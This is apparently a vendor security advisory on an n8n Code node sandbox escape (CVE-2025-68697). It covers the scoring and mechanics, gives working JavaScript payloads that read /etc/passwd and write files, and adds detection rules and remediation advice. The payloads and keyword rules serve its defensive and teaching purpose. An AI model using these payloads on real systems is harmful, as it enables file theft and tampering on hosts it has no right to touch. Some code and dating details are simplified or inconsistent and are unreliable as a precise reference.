CVE-2025-68697

Executive Summary

CVE-2025-68697 is a critical vulnerability in n8n, an open-source workflow automation platform. The flaw resides in the Code node when running in legacy (non-task-runner) JavaScript execution mode. Authenticated users with workflow editing privileges can invoke internal helper functions, leading to arbitrary file read and write operations on the host filesystem with the same privileges as the n8n process. This can result in data exfiltration, configuration tampering, or potential lateral movement within the environment. The vulnerability is patched in version 2.0.0, and workarounds involve restricting file access and disabling high-risk nodes.

Supply Chain & Package Security

n8n is distributed as an npm package (n8n). Organizations using self-hosted n8n instances should verify their deployment version and update to 2.0.0 or later. The vulnerability does not affect the npm package itself but the runtime behavior of the Code node. Ensure that the n8n package is sourced from the official npm registry and that integrity checks (e.g., using npm audit or SCA tools) are performed regularly.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user with workflow editing access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – file read
• Integrity Impact: Low (I:L) – file write
• Availability Impact: Low (A:L) – potential for denial of service via file overwrite

Threat Level: High. The vulnerability allows an authenticated attacker to read sensitive files (e.g., configuration, secrets) and write arbitrary files, potentially leading to remote code execution or privilege escalation.

Deep Dive & Mechanics

The vulnerability exists in the Code node's legacy JavaScript execution mode. In this mode, the Code node uses eval() or new Function() to execute user-supplied JavaScript code. The n8n platform exposes internal helper functions (e.g., getWorkflowStaticData, getNodeParameter, etc.) to the Code node's execution context. An attacker with workflow editing access can craft a Code node that invokes these internal functions to access the Node.js require() function or the process object, thereby gaining access to the filesystem.

Attack Flow:

1. Attacker logs into n8n with a user account that has workflow editing permissions.
2. Attacker creates or modifies a workflow containing a Code node.
3. Attacker sets the Code node's JavaScript to invoke internal helpers, e.g., this.constructor.constructor('return process')().mainModule.require('fs').readFileSync('/etc/passwd','utf8').
4. The Code node executes, reading or writing files on the host filesystem.
5. Attacker exfiltrates data via the workflow output or by writing to a publicly accessible location.

Root Cause: The Code node's execution context does not properly sandbox internal helper functions, allowing access to Node.js internals.

Vulnerable vs. Patched Code

Vulnerable Code (n8n < 2.0.0):

// In CodeNode.js (simplified)
const code = this.getNodeParameter('jsCode', 0);
const result = eval(code); // Unsafe eval

Patched Code (n8n >= 2.0.0):

// In CodeNode.js (simplified)
const code = this.getNodeParameter('jsCode', 0);
const vm = require('vm');
const sandbox = { /* only safe globals */ };
const result = vm.runInNewContext(code, sandbox); // Sandboxed execution

The patch uses Node.js vm module to run code in a sandboxed context, preventing access to internal helpers and Node.js globals.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a self-hosted n8n instance (version < 2.0.0)
• Valid user credentials with workflow editing permissions

Exploit Steps:

1. Log in to n8n and create a new workflow.
2. Add a Code node and set its JavaScript to:

   // Read /etc/passwd
   const fs = this.constructor.constructor('return process')().mainModule.require('fs');
   const data = fs.readFileSync('/etc/passwd', 'utf8');
   return data;
   

3. Execute the workflow. The output will contain the contents of /etc/passwd.
4. To write a file:

   const fs = this.constructor.constructor('return process')().mainModule.require('fs');
   fs.writeFileSync('/tmp/pwned.txt', 'pwned');
   return 'done';
   

Note: This exploit relies on the legacy execution mode. If task runners are enabled, the vulnerability is not exploitable.

Blue Team

Detection:

• Monitor n8n logs for Code node executions with unusual JavaScript patterns (e.g., constructor, require, process).
• Use file integrity monitoring (FIM) on sensitive files (e.g., /etc/passwd, n8n config files).
• Enable audit logging in n8n to track workflow modifications.

Hunting:

• Search for workflows containing Code nodes with JavaScript that includes constructor, require, or process.
• Review n8n server logs for unexpected file access errors (e.g., ENOENT for files outside allowed paths).

Lab Setup:

• Deploy a vulnerable n8n instance (version 1.x) in a containerized environment.
• Create a test user with workflow editing permissions.
• Use the exploit code above to verify the vulnerability.
• Apply the patch (upgrade to 2.0.0) and confirm the exploit no longer works.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected files in /tmp/ or other writable directories (e.g., /tmp/pwned.txt)
  • Modified n8n configuration files (e.g., ~/.n8n/config)
• Logs:
  • n8n logs showing Code node execution with JavaScript containing constructor, require, or process
  • System logs showing file access outside of allowed paths (e.g., /etc/passwd)
• Network:
  • Outbound connections from n8n server to unknown IPs (data exfiltration)
• Process:
  • n8n process spawning child processes (e.g., node or sh)

Detection Engineering

YARA Rule

rule n8n_cve_2025_68697_code_node_exploit {
    meta:
        description = "Detects malicious JavaScript in n8n Code nodes exploiting CVE-2025-68697"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68697"
    strings:
        $s1 = "constructor" ascii wide nocase
        $s2 = "require" ascii wide nocase
        $s3 = "process" ascii wide nocase
        $s4 = "readFileSync" ascii wide nocase
        $s5 = "writeFileSync" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) or (any of ($s4, $s5))
}

Sigma Rule

title: n8n Code Node Exploit - CVE-2025-68697
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects suspicious JavaScript execution in n8n Code nodes
author: Valters IT
date: 2025-04-10
logsource:
    product: n8n
    service: workflow
detection:
    selection:
        EventID: 1001  # Example: Code node execution event
        JavaScript|contains:
            - 'constructor'
            - 'require'
            - 'process'
            - 'readFileSync'
            - 'writeFileSync'
    condition: selection
falsepositives:
    - Legitimate use of Node.js modules in Code nodes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"n8n CVE-2025-68697 Code Node Exploit - Data Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/webhook/"; http_uri; content:"constructor"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade n8n to version 2.0.0 or later.
2. Apply workarounds:
   • Set N8N_RESTRICT_FILE_ACCESS_TO to a dedicated directory (e.g., ~/.n8n-files).
   • Keep N8N_BLOCK_FILE_ACCESS_TO_N8N_FILES=true (default).
   • Disable the Code node using NODES_EXCLUDE if workflow editors are not fully trusted.
3. Review user permissions – ensure only trusted users have workflow editing access.
4. Enable task runners – the vulnerability only affects legacy execution mode.

Long-term Measures:

• Implement network segmentation to isolate n8n instances.
• Use a Web Application Firewall (WAF) to inspect HTTP requests for malicious patterns.
• Regularly audit n8n workflows for suspicious Code nodes.
• Monitor n8n logs and system logs for indicators of compromise.

Valters IT
Securing Digital Frontiers